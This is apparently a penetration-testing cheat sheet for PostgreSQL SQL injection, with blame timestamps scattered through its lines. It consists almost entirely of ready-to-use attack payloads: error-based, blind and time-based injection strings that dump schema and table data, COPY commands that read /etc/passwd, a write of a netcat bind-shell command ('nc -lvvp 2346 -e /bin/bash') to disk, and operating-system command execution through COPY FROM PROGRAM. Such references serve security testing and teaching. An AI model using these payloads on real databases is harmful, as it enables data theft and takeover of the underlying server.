2019-06-29 17:23:34 +00:00
# PostgreSQL injection
## Summary
* [PostgreSQL Comments ](#postgresql-comments )
* [PostgreSQL Error Based ](#postgresql-error-based )
* [PostgreSQL Blind ](#postgresql-blind )
* [PostgreSQL Time Based ](#postgresql-time-based )
* [PostgreSQL File Read ](#postgresql-file-read )
* [PostgreSQL File Write ](#postgresql-file-write )
* [PostgreSQL Command execution ](#postgresql-command-execution )
* [References ](#references )
2016-11-29 16:27:35 +00:00
2018-05-20 20:10:33 +00:00
## PostgreSQL Comments
2018-08-12 21:30:22 +00:00
```sql
2018-05-16 21:33:14 +00:00
--
/**/
```
2019-06-29 17:23:34 +00:00
## PostgreSQL Error Based
2018-08-12 21:30:22 +00:00
```sql
2016-11-29 16:27:35 +00:00
,cAsT(chr(126)||vErSiOn()||chr(126)+aS+nUmeRiC)
,cAsT(chr(126)||(sEleCt+table_name+fRoM+information_schema.tables+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+column_name+fRoM+information_schema.columns+wHerE+table_name=data_column+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)--
,cAsT(chr(126)||(sEleCt+data_column+fRoM+data_table+lImIt+1+offset+data_offset)||chr(126)+as+nUmeRiC)
2018-05-16 21:33:14 +00:00
```
2019-06-29 17:23:34 +00:00
## PostgreSQL Blind
```sql
' and substr(version(),1,10) = 'PostgreSQL' and '1 -> OK
' and substr(version(),1,10) = 'PostgreXXX' and '1 -> KO
```
2018-05-16 21:33:14 +00:00
## PostgreSQL Time Based
2018-08-12 21:30:22 +00:00
```sql
2018-05-16 21:33:14 +00:00
AND [RANDNUM]=(SELECT [RANDNUM] FROM PG_SLEEP([SLEEPTIME]))
2018-08-12 21:30:22 +00:00
AND [RANDNUM]=(SELECT COUNT(*) FROM GENERATE_SERIES(1,[SLEEPTIME]000000))
2018-09-01 13:36:33 +00:00
```
## PostgreSQL File Read
```sql
2019-02-17 19:02:16 +00:00
select pg_ls_dir('./');
2018-09-01 13:36:33 +00:00
select pg_read_file('PG_VERSION', 0, 200);
```
2019-02-17 19:02:16 +00:00
NOTE: ``pg_read_file` doesn't accept the `/` character.
2018-09-01 13:36:33 +00:00
```sql
CREATE TABLE temp(t TEXT);
COPY temp FROM '/etc/passwd';
SELECT * FROM temp limit 1 offset 0;
```
## PostgreSQL File Write
```sql
CREATE TABLE pentestlab (t TEXT);
INSERT INTO pentestlab(t) VALUES('nc -lvvp 2346 -e /bin/bash');
SELECT * FROM pentestlab;
COPY pentestlab(t) TO '/tmp/pentestlab';
```
2019-06-29 17:23:34 +00:00
## PostgreSQL Command execution
2019-03-24 15:00:27 +00:00
CVE-2019– 9193, can be used from [Metasploit ](https://github.com/rapid7/metasploit-framework/pull/11598 ) if you have a direct access to the database, otherwise you need to execute manually the following SQL queries.
```SQL
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Drop the table you want to use if it already exists
CREATE TABLE cmd_exec(cmd_output text); -- Create the table you want to hold the command output
COPY cmd_exec FROM PROGRAM 'id'; -- Run the system command via the COPY FROM PROGRAM function
SELECT * FROM cmd_exec; -- [Optional] View the results
DROP TABLE IF EXISTS cmd_exec; -- [Optional] Remove the table
```
![https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png ](https://cdn-images-1.medium.com/max/1000/1*xy5graLstJ0KysUCmPMLrw.png )
2018-12-24 14:02:50 +00:00
## References
2018-09-01 13:36:33 +00:00
2019-03-24 15:00:27 +00:00
* [A Penetration Tester’ s Guide to PostgreSQL - David Hayter ](https://medium.com/@cryptocracker99/a-penetration-testers-guide-to-postgresql-d78954921ee9 )
2019-06-29 17:23:34 +00:00
* [Authenticated Arbitrary Command Execution on PostgreSQL 9.3 > Latest - Mar 20 2019 - GreenWolf ](https://medium.com/greenwolf-security/authenticated-arbitrary-command-execution-on-postgresql-9-3-latest-cd18945914d5 )
* [SQL Injection /webApp/oma_conf ctx parameter (viestinta.lahitapiola.fi) - December 8, 2016 - Sergey Bobrov (bobrov) ](https://hackerone.com/reports/181803 )